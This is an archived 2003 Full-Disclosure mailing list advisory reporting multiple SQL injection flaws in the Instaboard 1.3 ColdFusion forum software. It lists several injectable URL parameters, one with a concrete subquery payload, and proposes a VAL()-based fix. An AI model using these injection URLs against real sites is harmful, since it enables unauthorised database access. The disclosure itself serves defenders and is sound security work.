full-disclosure - Instaboard 1.3 SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030414163602.GJ22273@cleannorth.org>
From: jdew at cleannorth.org (Jim Dew)
Subject: Instaboard 1.3 SQL Injection

Affected Product: NetPleasure's Instaboard 1.3
www.netpleasure.com/instaboard/

Venerability:  Multiple SQL Injection Vunerabilities.

http://server/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://server/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://server/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://server/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://server/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://server/instaboard/index.cfm?catid=1%20SQL

Notification:
  Messages were posted on the Instaboard demo forum, in the "Instaboard 1.3
Troubleshooting and Problems" area, on April 02 2003. As of yet, there has
been no reply publicly or privately from thei author. Author emailed at
instaboard@...pleasure.com on Tue, 8 Apr 2003 16:06:19 -0400

Proposed Solution:
  If you have the licensed version of the product, protect the numerical
values within the CFQUERY tags:

for example:
  In queries/oraclen/qry_GetOriginalMessage.cfm
    change
  WHERE m.tpcid = #tpcid#
  AND m.userid = u.userid
  AND m.msgid = #msgid#

to

  WHERE m.tpcid = #VAL(tpcid)#
  AND m.userid = u.userid
  AND m.msgid = #VAL(msgid)#


-- 
"Most moms teach their daughters how to run a house, but you?  You teach
yours the fine art of mass destruction."
      - Nabs - Goodbye is not forever

perl -le '$_="6110>374086;2064208213:90<307;55";tr[0->][ LEOR!AUBGNSTY];print'